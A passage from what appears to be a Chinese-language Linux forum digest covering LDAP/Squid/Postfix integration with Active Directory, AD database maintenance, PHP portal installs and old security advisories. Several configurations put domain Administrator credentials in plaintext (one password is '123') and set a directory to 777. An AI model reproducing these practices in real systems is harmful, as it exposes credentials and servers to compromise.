            費用是免費的,有興趣的同學去看看吧

            Agenda:

            1.Linux 基本功能介紹

            2.OpenLDAP 簡介

            3.實作示範


            詳情請參閱以下網址
            http://edu.acertwp.com.tw/techchair/Ltechchair.asp

            15
            A vulnerability has been discovered in the login_ldap module. The issue occurs when the module is used in conjunction with specific LDAP server configurations.
            It may be possible for an attacker to gain anonymous authorization on affected systems running login_ldap. Multiple versions of at least one LDAP server, OpenLDAP, ships with a default configuration that allows exploitation of this vulnerability.

            Peter Werner login_ldap 3.1、login_ldap 3.2請儘速升級至login_ldap 3.3版

            http://www.ifost.org.au/~peterw/login_ldap-3.3.tar.gz

            詳情請參考以下網址
            http://www.securityfocus.com/bid/6903/info/

            16
            [前言]

            在管理squid的管理員可能會遇到一個問題,就是有一天老闆心血來潮,叫你將目前有透過squid上網的使用者,整理一份上網清單出來,並要將使用者名稱顯示出來,如果你之前沒有用任何驗證方式來做到辨識使用者的話,相信你會用IP反查使用者反查的很辛苦。但又不可能用一個一個在squid server上建立帳號來做驗證,如果你們公司已經有使用Active Directory的話,可以利用它的LDAP功能來輕鬆達到你老闆的要求

            環境  

            RedHat 8.0
            squid-2.4.STABLE7
            OpenLdap 2.1.12 (20030107)

            安裝步驟

            1、首先先下載OpenLDAP( http://www.openldap.org )tarball file(這裡我是使用openldap-stable-20030107.tgz

            2、安裝OpenLDAP Client(依下列步驟安裝)
            代碼: [選擇]
            ./configure  --without-kerberos --without-cyrus-sasl --without-tls \
                    --without-threads --disable-slapd --disable-slurpd \
                    --disable-debug --disable-shared


            代碼: [選擇]
            make depend

            代碼: [選擇]
            make

            代碼: [選擇]
            make test

            代碼: [選擇]
            make install

            3、測試ldap是否正常
            (1)首先先修改/usr/local/etc/openldap/ldap.conf,增加下列敘述
            代碼: [選擇]
            BASE    DC=myunix,DC=adsldns.DC=org
            URI     ldap://dc.myunix.adsldns.org


            (2)測試與Ldap Server(DC)之間連線是否正常
            代碼: [選擇]
            /usr/local/bin/ldapsearch -x -D "cn=administrator,cn=Users,dc=myunix,dc=adsldns,dc=org" -W "proxyAddresses=smtp:vincent@myunix.adsldns.org"

            Enter LDAP Password:

            輸入Administrator的Password後,正確的出現你所要查詢的Infomation的話,就代表你和Ldap Server(DC)之間連線正常。

            4、請先至 http://www.squid-cache.org/ 下載Source,在這裡我使用的是squid-2.4.STABLE7

            5、安裝Squid步驟只是在./configure 時,多加一個--enable-auth-modules=LDAP,然後執行make及make install即可,其它的安裝步驟請參考其它教學文章,這裡我就不加以說明了。

            6、修改squid.conf,相關的選項如下:

            (1)authenticate_program
            請設定為
            代碼: [選擇]
            authenticate_program /etc/squid/libexec/squid/squid_ldap_auth -p -R  -s sub -b dc=myunix,dc=adsldns,dc=org -D CN=Administrator,CN=Users,DC=myunix,DC=adsldns,DC=org -w password -f sAMAccountName=%s  dc.myunix.adsldns.org

            squid_ldap_auth的指令說明如下

            squid_ldap_auth [option] ldap_server_name

              -b basedn (REQUIRED)
              base dn under which to search
              -f filter
              search filter to locate user DN
              -u userattr
              username DN attribute
              -s base|one|sub
              search scope
              -D binddn
              DN to bind as to perform searches
              -w bindpasswd
              password for binddn
              -p
              persistent LDAP connection
              -R
              do not follow referrals
              -a never|always|search|find
              when to dereference aliases[/list]

              (2)authenticate_children
              設定你authenticate的process要啟動幾個

              (3)authenticate_ttl 1 hour
              設定你某一User驗證的cache時間多久

              (4)authenticate_ip_ttl 0 seconds
              設定你某一IP的驗證時間可維持多久,設定0的話,則無限制

              (5)authenticate_ip_ttl_is_strict on
              設定當你驗證成功後,在authenticate_ip_ttl的時間內,會拒絕其它IP對同一Username所要求的驗證

              (6)acl
              請新增一條acl,範例如下
              acl ldap proxy_auth REQUIRED

              (7)http_access
              範例如下(注意allow後面的名稱須與前面acl所定義的acl name相同)
              http_access allow ldap

              (8)proxy_auth_realm
              設定驗證方塊出現時,會顯示的訊息
              proxy_auth_realm Squid proxy-caching web server

              7、Start squid service

              8、請至Browser設定proxy的選項

              9、嘗試連到其他網頁,看看是否有要求輸入Username和Password的晝面出現

              註:此處發現一問題,就是你開啟瀏覽器時所瀏覽的第一個網頁,不論你輸入密碼是否正確均會無法連到正確的網頁,但是如果你輸入Username和Password正確的話,按「refresh」即可正常連到網頁去,這是因為你向squid發出第一次request時,因為尚未通過LDAP的驗證,故你會在access.log裡發現你第一次的request會被deny,而之後的網頁因驗證成功,所以才會request成功,這問題目前我還在想看看有沒有什麼辦法可解決。相反的如果你輸入Username和Password不正確時,均會被squid Deny。


              作者: zoob (vincent@myunix.adsldns.org)

              版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

              17
              (一)備份AD

              利用Windows 2000的備份工具 或是ThirdParty的備份工具將DC的「系統狀態」使用「Normal備份」備份起來
              (註:請檢查DC備份應包括 系統狀態、系統磁碟內容以及sysvol資料庫)

              (二)重整AD資料庫

              AD資料庫其實在平時會每隔12小時做一次Online Defrag。但是此動作並無法減少在DC上的ntds.dit AD資料庫的大小。Online Defrag只會釋放一些可用空間而已。為了有效減少檔案大小,你必須執行Offline Defrag。

              雖然這樣的動作並不是必要的。但是在你的domain controller上經常進行AD資料庫的重整的話,如此一來可增進目錄的效能以及可用性,也可以趁此檢查AD資料庫是否有毀損的情形 。有關於AD重整的資訊可參閱「Performing Offline Defragmentation of the Active Directory Database」( http://support.microsoft.com/default.aspx?scid=kb;en-us;q232122 )

              步驟如下

              (1)重新開機,按「F8」進入「目錄服務存放模式」選項。

              (2)先備份舊的ntds.dit檔案(位置在C:\winnt\ntds目錄下),以防重整失敗

              (3)開啟「命令提示字元」,輸入

              代碼: [選擇]
              ntdsutil files and info
              請注意目錄的路徑,之後會再使用此路徑

              代碼: [選擇]
              compact to c:\ntdstemp
              此命令會在c:\ntdstemp資料夾下建立新的ntds.dit檔案

              代碼: [選擇]
              quit
              輸入2次quit,即可離開ntdsutil tool。

              (4)利用剛剛產生出來的檔案,覆蓋你目前的ntds.dit。然後刪掉所以在AD資料庫位置的任何log檔(*.log)

              (5)重新啟動伺服器

              (6)完成

              (三)還原AD資料庫
              當你誤刪除AD裡面的某一重要資料時,而此刪除動作已複製至其他DC,無法救回之時,你可以利用此步驟來救回你誤刪的資料。

              IT名言:
              1.平時應做好「備份」的工作。以備不時之需。
              2.在做任何還原動作前,已先在測試機器上測試一遍,確認還原動作無誤

              (1)將某一台DC重新開機,進入「目錄服務存放模式」選項。系統啟動後以當初執行DCPROMO時所設定的還原密碼進入系統。

              (2)執行「附屬應用程式」->「系統工具」->「備份」。在「還原」項目下,將你所要還原的項目還原至系統。

              (3)還原完畢,當系統問你是否要重新開機時,請選擇「」。

              (4)開啟「命令提示字元」,輸入

              代碼: [選擇]
              NTDSUTIL : authoritative restore

              出現「授權還原」字項時,再執行restore subtree "要還原的DN"來還原你所要還原的項目。例如:
              代碼: [選擇]
              resotre subtree ou=TEST,dc=myunxi,dc=adsldns.,dc=org
              restore subtree "cn=vincent,ou=TEST,dc=myunxi,dc=adsldns.,dc=org"


              如果還原完畢,則會出現「系統授權還原順利完成」。代表還原成功

              (5)重新開機。檢查你之前誤刪的項目是否已還原成功。

              (6)完成


              此文章為本人的心得及步驟,如有錯誤,請各位提出來一起討論,謝謝..........

              18
              Postfix + Ldap + Active Directory整合

              作者: zoob (vincent@myunix.idv.tw)

              版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

              [前言]

              首先先講我的Mail架構(圖1),由於公司要求對內、對外傳送郵件要快速,故在公司的mail System採用了Postfix + Exchange 2000 Server
              但這架構有一缺點,就是在Inbound Mail的流程中,Postfix無法辨識在Exchange 2000 Server上有哪些E-mail address是有效並且存在的,故只要是在relay_domains裡面設定的domain list均會被一五一十的傳送至Exchange 2000 Server,直到Exchange 2000 Server檢查無此信箱時,才會將信件退回
              如此一來,就會浪費了許多頻寬,為了將頻寬做有效應用,所以將在Postfix那一端使用LDAP來向LDAP Server(DC)來做LDAP查詢,查詢哪些e-mail address是有效的,無效的e-mail address就直接在postfix的header check中就做filter了。可大量的減少internet bandwidth 和 mail system loading,但會增加LDAP Server的loading(反正DC平常閒閒沒事做,沒關係  ^_^ )

              在實做此文章之前,請務必要先瞭解LDAP的功能及流程,免得遭遇許多問題困擾....

                outbound mail

                Client  ---------> Exchange ---------> Postfix ---------> Internet


                Inbound mail

                Internet ---------> Postfix ---------> Exchange ---------> Client

              圖1


              環境
              Postfix(postfix.myunix.idv.tw)
              OS:Redhat 8.0
              OpenLdap 2.1.12 (20030107)
              Postfix 1.1.11-20020918

              Exchange(exchange.myunix.idv.tw)
              OS:Win2K + Ex2K

              LDAP:Domain Controller(dc.myunix.idv.tw)
              OS:Win2k



              1、首先先下載OpenLDAP( http://www.openldap.org )和Postfix( http://www.postfix.org ) tarball file(這裡我是使用openldap-stable-20030107.tgz + postfix-1.1.11-20020918.tar.gz

              2、安裝OpenLDAP Client(依下列步驟安裝)
              代碼: [選擇]
              ./configure  --without-kerberos --without-cyrus-sasl --without-tls \
                      --without-threads --disable-slapd --disable-slurpd \
                      --disable-debug --disable-shared


              代碼: [選擇]
              make depend

              代碼: [選擇]
              make

              代碼: [選擇]
              make test

              代碼: [選擇]
              make install

              3、安裝Postfix with LDAP support(本文章只敘述如何upgrade postfix,如果你是Install new postfix,請再參考其他教學文章)

              代碼: [選擇]
              make tidy
              (make tidy是指你之前已經有安裝過postfix,但未安裝LDAP function時才需要下此command)

              代碼: [選擇]
              make makefiles CCARGS="-I/usr/local/include -DHAS_LDAP" \
                      AUXLIBS="-L/usr/local/lib -lldap -L/usr/local/lib -llber"

              (請將/usr/local部份依你OpenLDAP安裝位置做修正)

              代碼: [選擇]
              make

              代碼: [選擇]
              make upgrade


              4、測試ldap是否正常
              (1)首先先修改/usr/local/etc/openldap/ldap.conf,增加下列敘述
              代碼: [選擇]
              BASE    DC=myunix,DC=idv.DC=tw
              URI     ldap://dc.myunix.idv.tw


              (2)測試與Ldap Server(DC)之間連線是否正常
              代碼: [選擇]
              /usr/local/bin/ldapsearch -x -D "cn=administrator,cn=Users,dc=myunix,dc=idv,dc=tw" -W "proxyAddresses=smtp:vincent@myunix.idv.tw"

              Enter LDAP Password:

              輸入Administrator的Password後,正確的出現你所要查詢的Infomation的話,就代表你和Ldap Server(DC)之間連線正常。

              5、修改/etc/main.cf

              代碼: [選擇]
              mydestination = myunix.idv.tw
              #輸入Exchange 2000 Server Domain

              #relay_domains = xxx.xxx.xxx.xxx  
              #將relay_domains comment

              local_recipient_maps = ldap:ldapsource

              local_transport = error:local mail delivery is desabled

              transport_maps = hash:/etc/postfix/transport

              ldapsource_server_host = dc.myunix.idv.tw
              ldapsource_server_port = 389
              ldapsource_search_base = dc=myunix,dc=idv,dc=tw
              ldapsource_ldap_scope = sub

              ldapsource_bind = yes
              ldapsource_bind_dn = cn=Administrator,cn=Users,dc=myunix,dc=idv,dc=tw
              ldapsource_bind_pw = 123
              #我沒有將Win2K AD變更為anonymous query,所以我就使用了bind的功能了

              ldapsource_query_filter = (proxyAddresses=smtp:%s)
              ldapsource_result_attribute = proxyAddresses
              #填入查詢條件。%s代表rcpt to:後面的e-mail address

              ldapsource_version = 3

              #如果你的Win AD為2000者請使用ldapsource_version = 2
              #如果你的Win AD為2003者請使用ldapsource_version = 3



              6、設定transport檔,將Exchange 2000 Server Domain的信轉向Exchange 2000 Server(exchange.myunix.idv.tw)
              代碼: [選擇]
              myunix.idv.tw        smtp:exchange.myunix.idv.tw

              代碼: [選擇]
              postmap transport
              (產生transport.db)

              7、postfix reload,telnet localhost 25看看E-mail是否有被解析正常,步驟如下:

                telnet localhost 25
                220 postfix.myunix.idv.tw ESMTP
                helo myunix.idv.tw
                250 postfix.myunix.idv.tw


                rcpt to:vincent@myunix.idv.tw
                250 Ok
              解析已存在的e-mail address,出現Ok的話,進行下一步

                rcpt to:test@myunix.idv.tw
                450 <test@myunix.idv.tw>: User unknown

              測試一個未存在的e-mail address,如果出現User unknow的話
              就代表你的Postfix + Ldap query運作正常,恭禧你!!!設定成功了!!!

              19
              Linux 討論版 / 安裝PHP-Nuke + phpBB2 Mod
              « 於: 2003-01-06 18:26 »
              PHP-Nuke是個非常不同的Portal程式,有各種不同的Module來搭配應用
              對於想嘗試架個Portal網站的人是個好選擇

              Demo Site: http://myunix.adsldns.org

              1、解壓縮PHP-Nuke-6.0-tw.tar.gz( http://www.phpnuke-tw.com/modules.php?name=Downloads&d_op=getit&lid=144 or http://myunix.adsldns.org/mx/modules/mx_downloads )
              代碼: [選擇]
              tar zxvf PHP-Nuke-6.0-tw.tar.gz

              2、將html目錄複製到/var/www/html/目錄下,並變更你要的名稱(例如:nuke)

              代碼: [選擇]
              cp -a html /var/www/html/nuke

              3、建立database,並匯入sql目錄下的nuke-tw.sql

              代碼: [選擇]
              mysqladmin -u root -ppassword create nuke
              mysql -u root -ppassword nuke < nuke-tw.sql


              4、設定config.php
              用vi去編輯/var/www/html/nuke/config.php,將以下的敘述依你環境設定,範例如下:

              代碼: [選擇]
              $dbhost = "localhost";
              $dbuname = "root";
              $dbpass = "password";
              $dbname = "nuke";
              $prefix = "nuke";
              $user_prefix = "nuke";
              $dbtype = "MySQL";


              5、建立管理者帳號

              1)用Browser開啟http://your web site/nuke/admin.php

              2)會出現Admin的管理頁面,此時請設定你的管理員帳號名稱、首頁、電子郵件、登入密碼等,並依其需求在「您是否要在一般使用者資料庫,建立一個相同的帳號?」下選擇 是 或 否(我選擇了是)

              3)之後進去了管理員畫面,此時恭禧你已完成安裝PHP-Nuke的主程式了

              4)進到偏好設定內,去設定PHP-Nuke相關的小設定即可。


              由於PHP-Nuke預設的Forum為Splatt Forum,如果你喜歡phpBB2的話,可外掛phpBB2 Mod上去

              1)  請下載PhpBB_port_for_PHP-Nuke_6.0.zip( http://www.phpnuke-tw.com/modules.php?name=Downloads&d_op=getit&lid=140 or http://myunix.adsldns.org/mx/modules/mx_downloads )
              2)  在執行安裝之後,切記!!一定要備份起來。以備不時之需
              3)  匯入PhpBB.sql
              代碼: [選擇]
              mysql -u root -ppassword nuke < phpBB.sql
              4)  如果您沒有更動過modules.php,您可以直接copy html\modules.php
                  如果您有更動過modules.php,您可以在第18行(6.0是第19行)(是一個空行)加上程式
                              碼(請看html\Changed.txt)
                  加入這行的目的是為了進PhpBB時,讓PhpBB可以認得了您。
                              (6.0補述,很多人忘了這一行,而造成雖然登入,但也無法進入PhpBB,請特別注意)
              3)  複製html目錄下所有的檔案到/var/www/html/nuke/目錄下
              5)  進入PHP-Nuke首頁的PhpBB鏈結,接下來會出現Forum Startup的畫面,設定Site Url、Forum Admin(切勿設定Anonymous) ->Save Changes
              6)  出現以下訊息則代表phpBB2 for Nuke設定成功

              代碼: [選擇]
              Please set the Sitename in the forum admin/Configuration
              Install complete


              7)  進入phpBB2的Administration Panel->General Admin->Configration設定phpBB2的相關訊息(Sitename)
              8)  大功告成

              註:以下是節錄於竹貓星球的成員所敘述之相關注意事項(by 小竹子, OOHOO, 皇家騎士, 思),詳情可參考Readme.Big5.txt

              引用
               1.如果您的modules\Forums\viewtopic.php是原來我的修正版本,
                  您可以直接copy html\modules\Forums\viewtopic.php
                  如果您有更動過viewtopic.php,請看html\modules\Forums\Changed.txt
                  修改這行的目的是為了當您在PhpBB開放圖像可以用URL的方式時,在Splatt Forum也
                  能正常顯示。

                2.Copy html\modules\Forums\statistiche.php,您可以先將原始的程式備份起來

                3.如果您沒有更動過modules\Your_Account的程式碼,您可以直接Copy覆蓋上去。
                  如果您有用了其他的Your Account(如:NSN Your Account),那您只好自己去比對相關
                  的地方,這點弟也愛莫能助了。
                              (6.0補述,我想在6.0應該也不可能有別的Your Account版本啦)

                4.直接將html\images\forum\avatar\gallery及html\images\forum\avatar\Cool_Avatar
                  的目錄Copy到images\forum\avatar底下
                  這樣您在PhpBB的Profile/個人資料中的系統相簿就有兩組頭像可選擇了,日後您如果
                  有收集自己喜歡的頭像,您就可以在images\forum\avatar底下新開一個目錄,取好目
                  錄的名稱就可以了。
                  為什麼要將圖像改至Splatt Forum底下?其原因是在不更動Splatt Forum的程式碼,也
                  可以要將圖像在Splatt Forum、Your Account及PhpBB中共用,所以也請不要更動
                  PhpBB的管理控制台(PhpBB的後台)->一般管理->基本組態的:

                  個人頭像儲存路徑 images/forum/avatar
                  系統相簿儲存路徑 images/forum/avatar

                  *********再一次強調請不要去更動*****************
                  *                                              *
                  * 個人頭像儲存路徑 images/forum/avatar         *
                  * 系統相簿儲存路徑 images/forum/avatar         *
                  *                                              *
                  *********再一次強調請不要去更動*****************

                5.Copy html\blocks\block-PhpBB_Forums.php
                  Copy html\blocks\block-Splatt_Forums.php
                  Copy html\blocks\block-Last_Seen.php (如果您要用它的話)

                6.如果您要使用上面的那三個blocks的話,那在html\language的語言檔您就要更新
                  如果您的語言檔都沒有變動的話,您可以直接覆蓋它們,否則請在您的語言檔加上
                  中文檔的html\language\lang-chinese.txt
                  英文檔的html\language\lang-english.txt
                  而html\language\lastseen是給block-Last_Seen.php用的。

                7.再來,也是最簡單的就是將
                  html\modules\PhpBB直接Copy到您的modules底下,但是:

                  ******************特別強調**********************
                  **** 注意大小寫是 PhpBB 尤其是UNIX-Like的平台  *
                  **** 注意大小寫是 PhpBB 尤其是UNIX-Like的平台  *
                  **** 注意大小寫是 PhpBB 尤其是UNIX-Like的平台  *
                  ******************特別強調**********************

                8.最後,如果您是用UNIX-Like(FreeBSD、Linux)要特別注意的是要將
                   images/forum/avatar的權限設成777(如果您要讓USER可以上傳圖像的話)
                   modules/PhpBB/install.php的權限設成666(在第一次安裝成功時,才能自動刪除)

                  *****************************特別強調******************************
                  **** 安裝完成後,請再檢查這個檔還在不在,如果還在,就手動將它刪除 *
                  **** 安裝完成後,請再檢查這個檔還在不在,如果還在,就手動將它刪除 *
                  **** 安裝完成後,請再檢查這個檔還在不在,如果還在,就手動將它刪除 *
                  *****************************特別強調******************************

                9.在6.0的版本,您會發現在html\modules\Phpbb\language\lang-chinese.php有一個
                         空檔,請不要刪除它,這是欺騙mainfile.php用的,當然如果您用在其他語系,也請
                               您建立屬於自己語系的語言空檔。

              安裝之後:
                1.記得要用God的身份將PhpBB設成Active

                2.第一次進入PhpBB時,將會讓您指定PhpBB的管理者(這個畫面將執行一次而已)

                3.如果成功的話,PhpBB目錄底下的install.php將自動會被移除(如果檔案還在,建議您
                  手動刪除,為了安全考量),並在PhpBB底下自動產生config.php的檔案。

                4.您可以用您指定的PhpBB的管理者登入(可以從Your Account,也可以從PhpBB上面的
                  Login/登入),這時候您看到的PhpBB畫面應該全是英文的(因為弟考慮要將這個modules
                  向全球發佈,所以預設是英文),您可以由PhpBB上方的Profile進入去更改您的基本設
                  定(包括將您的語系Board Language: 設成 Chinese [ Traditional - Taiwan ])。
                              (6.0補述,在這個版本的Your Account,新使用者註冊時,我將PhpBB的語系及時區預
                              設為中文及8的Timezone,如果您要更改,在Your Account的index.php行114及行115)

                5.最後您就可以由PhpBB的下方(如果您是PhpBB的管理者)的Go to Administration Panel
                  或『進入系統管理控制台』進入PhpBB的後台管理了。

              已知的臭蟲:
                1.在PhpBB中,主題如果有『許功蓋』等字眼就會有錯(連Po都Po不進去),本文就沒問題
                2.在文字過濾上,中文有問題,英文沒問題(感謝Kaku老師的測試)

              特別感謝:
                梅中網管者 燦老師,感謝他給我們一個好站及對弟大力的指導
                大豐網管實驗室 Kaku老師,感謝他當我的第一個測試者、提供UNIX-Like底下應該注意的
                  事項及對弟大力的指導

              最後更要感謝各位的熱情及支持!!

              Chego Huang <chego@phpnuke-tw.com>
              2002/09/02
              2002/10/01 (6.0)

              20
              酷!學園 精華區 / 安裝MX System portal + phpBB2
              « 於: 2003-01-05 02:32 »
              之前測試了一些portal程式,例如Xoops、PHP nuke,發現如果你原本已經架設了phpBB2,而且另外安裝了一些Mod的話,會變得非常不好處理phpBB2舊論壇的文章內容,所以之後找了一套MX System這個portal程式,它是和phpBB2分開的程式,所以對於要相容於舊有phpBB2文章的處理上,就變得比較容易了。

              接下來,說明一下我安裝的過程(在安裝之前,我已經安裝phpBB2)

              註:記得!! 在安裝之前,千萬一定要將你的/var/www/html目錄和mysql備份起來,以備不時之需!!!

              安裝環境

              RedHat 8.0 + Mysql 3.23 + apache 1.3 + php 4.1.2 + phpBB2 2.02

              Demo Site: http://myunix.adsldns.org


              1、請至 http://mx-system.com or http://myunix.adsldns.org 下載最新的Mx system程式(我安裝的是mx-2.7-pre.zip)

              2、將mx-2.7-pre.zip解壓縮到/var/www/html/底下

              3、將phpBB2複製到到/var/www/html/forum目錄下

              4、在borwser裡輸入http://your web site/mx_install.php,出現在安裝畫面後,請按照裡面的選項,根據你的環境設定依序輸入相關設定。(記得database name要和phpBB2安裝時的一樣,應該會自動抓出來)

              5、Database安裝完畢後,在borwser裡輸入http://your web site/index.php,應該就會出現你的MX system首頁了

              Bug

              (1)如果你跟我一樣,在phpBB2裡面已經安裝了Attachment Mod的話,會出現以下訊息的話
              代碼: [選擇]
              Fatal error: Call to undefined function: attach_setup_basic_auth() in /home/www/html/mx/forum/includes/auth.php on line 121

              請在/var/www/html/common.php裡面,在 ?> 前面一行,加上以下敘述即可。

              代碼: [選擇]
              include($phpbb_root_path . 'attach_mod/attachment_mod.'.$phpEx);

              (2)MX system首頁只看到Download的圖示,而看不到Download(下載)的字時
              請修改/var/www/html/language/lang_chinese_traditional_taiwan/lang_main.php檔案,將裡面的
              代碼: [選擇]
              $lang['Download']                  = "下載";
              變更為
              代碼: [選擇]
              $lang['download']                  = "下載";
              變更完即可看到「下載」的字了

              21
              各位同學

              恆逸有提供RedHat Linux 技術應用研討會範例檔的下載
              現在有samba、netfilter、squid、bind、apache、sendmail、vpn等資料
              內容滿不錯的,可以去下載來看看
              網址如下
              http://edu.uuu.com.tw/technic/download-index.asp

              ps:不過download速度有點慢,要有點耐心等待..................

              22
              RHSA-2002:262-07: New kernel fixes local denial of service issue
              Published: Nov 16, 2002
              Updated: Nov 16, 2002



              --------------------------------------------------------------------------------

              ---------------------------------------------------------------------
                                 Red Hat, Inc. Red Hat Security Advisory

              Synopsis:          New kernel fixes local denial of service issue
              Advisory ID:       RHSA-2002:262-07
              Issue date:        2002-09-23
              Updated on:        2002-11-16
              Product:           Red Hat Linux
              Keywords:          bugtraq DoS
              Cross references:
              Obsoletes:         RHSA-2002:205 RHSA-2002:206
              ---------------------------------------------------------------------

              1. Topic:

              The kernel in Red Hat Linux 7.1, 7.1K, 7.2, 7.3, and 8.0 are vulnerable to
              a local denial of service attack.  Updated packages are available which
              address this vulnerability, as well as bugs in several drivers.


              2. Relevant releases/architectures:

              Red Hat Linux 7.1 - athlon, i386, i586, i686
              Red Hat Linux 7.2 - athlon, i386, i586, i686
              Red Hat Linux 7.3 - athlon, i386, i586, i686
              Red Hat Linux 8.0 - athlon, i386, i586, i686


              3. Problem description:

              The Linux kernel handles the basic functions of the operating system.
              A vulnerability in the Linux kernel has been discovered in which a non-root
              user can cause the machine to freeze. This kernel addresses the
              vulnerability.

              Note: This bug is specific to the x86 architecture kernels only, and does
              not affect ia64 or other architectures.

              In addition, a bug in the maestro3 soundcard driver has been fixed as well
              as a bug in the xircom pcmcia driver network driver and the tg3 network
              driver for Broadcom gigabit ethernet chips.

              All users of Red Hat Linux 7.1, 7.1K, 7.2, 7.3, and 8.0 should upgrade to
              these errata packages, which are not vulnerable to this issue.

              Thanks go to Christopher Devine for reporting the vulnerability on bugtraq,
              and Petr Vandrovec for being the first to supply a fix to the community.

              4. Solution:

              Before applying this update, make sure all previously released errata
              relevant to your system have been applied, especially the additional
              packages from RHSA-2002:205 and RHSA-2002:206 respectively.

              The procedure for upgrading the kernel manually is documented at:

              http://www.redhat.com/support/docs/howto/kernel-upgrade/

              Please read the directions for your architecture carefully before
              proceeding with the kernel upgrade.

              Please note that this update is also available via Red Hat Network. Many
              people find this to be an easier way to apply updates. To use Red Hat
              Network, launch the Red Hat Update Agent with the following command:

              up2date

              This will start an interactive process that will result in the appropriate
              RPMs being upgraded on your system. Note that you need to select the kernel
              explicitly on default configurations of up2date.

              5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info):

              77834 - Working Dos from bugtraq mailing list
              69920 - Kernel Crashes in TG3 Driver
              76171 - kernel-2.4.18-17.7.x update caused maestro3 to stop working
              77138 - Sound Modules Fail for Enigma kernel 2.4.18-17.7.x on Dell Latitude J750
              76555 - problems with kernel-2.4.18-17.8.0 on Dell Latitude CPx
              77565 - [gdth] NULL pointer dereference in scsi.c (scsi_release_commandblocks)
              76233 - new kernel up2date hangs laptop at shutdown
              77241 - esd peaks CPU w/ kernel 2.4.18-17.8.0 on Dell Inspiron 8100
              77258 - Ethernet interface not working on SiS 963 south bridge (SiS 648 chipset)
              77134 - Sound Modules fail for Enigma kernel 2.4.18-17.7.x
              76385 - 2.4.18-17.7.x update breaks Wacom tablet support
              75359 - kernel source does not compile due to missing include files
              76624 - Segmentation Fault using GDTH on RH72 kernel-smp-2.4.18-17.7.x
              76206 - xirc2ps_cs hangs apmd after upgrading to 2.4.18-17

              6. RPMs required:

              Red Hat Linux 7.1:

              SRPMS:
              ftp://updates.redhat.com/7.1/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm

              athlon:
              ftp://updates.redhat.com/7.1/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              ftp://updates.redhat.com/7.1/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm

              i386:
              ftp://updates.redhat.com/7.1/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.1/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.1/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.1/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm

              i586:
              ftp://updates.redhat.com/7.1/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              ftp://updates.redhat.com/7.1/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm

              i686:
              ftp://updates.redhat.com/7.1/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.1/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.1/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.1/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm

              Red Hat Linux 7.2:

              SRPMS:
              ftp://updates.redhat.com/7.2/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm

              athlon:
              ftp://updates.redhat.com/7.2/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              ftp://updates.redhat.com/7.2/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm

              i386:
              ftp://updates.redhat.com/7.2/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.2/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.2/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.2/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm

              i586:
              ftp://updates.redhat.com/7.2/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              ftp://updates.redhat.com/7.2/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm

              i686:
              ftp://updates.redhat.com/7.2/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.2/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.2/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.2/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm

              Red Hat Linux 7.3:

              SRPMS:
              ftp://updates.redhat.com/7.3/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm

              athlon:
              ftp://updates.redhat.com/7.3/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              ftp://updates.redhat.com/7.3/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm

              i386:
              ftp://updates.redhat.com/7.3/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.3/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.3/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              ftp://updates.redhat.com/7.3/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm

              i586:
              ftp://updates.redhat.com/7.3/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              ftp://updates.redhat.com/7.3/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm

              i686:
              ftp://updates.redhat.com/7.3/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.3/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.3/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              ftp://updates.redhat.com/7.3/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm

              Red Hat Linux 8.0:

              SRPMS:
              ftp://updates.redhat.com/8.0/en/os/SRPMS/kernel-2.4.18-18.8.0.src.rpm

              athlon:
              ftp://updates.redhat.com/8.0/en/os/athlon/kernel-2.4.18-18.8.0.athlon.rpm
              ftp://updates.redhat.com/8.0/en/os/athlon/kernel-smp-2.4.18-18.8.0.athlon.rpm

              i386:
              ftp://updates.redhat.com/8.0/en/os/i386/kernel-2.4.18-18.8.0.i386.rpm
